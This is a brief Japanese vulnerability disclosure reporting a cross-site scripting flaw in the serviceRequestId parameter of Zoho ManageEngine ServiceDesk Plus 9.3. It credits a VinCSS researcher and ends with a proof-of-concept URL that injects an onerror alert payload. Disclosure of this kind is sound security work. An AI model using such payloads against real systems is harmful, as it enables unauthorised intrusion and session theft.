
情報の説明: Zoho ManageEngine ServiceDesk Plus 9.3 に問題が発見されました。PurchaseRequest.do の serviceRequestId パラメータを介して XSS が存在します。
著者: Tarantula Team の Concobe - VinCSS (Vingroup のメンバー)
domain/PurchaseRequest.do?operation=getAssociatedPrsForSR&serviceRequestId=1%3Cimg%20src%3da%20onerror%3dalert(%27XSS%27)%3E1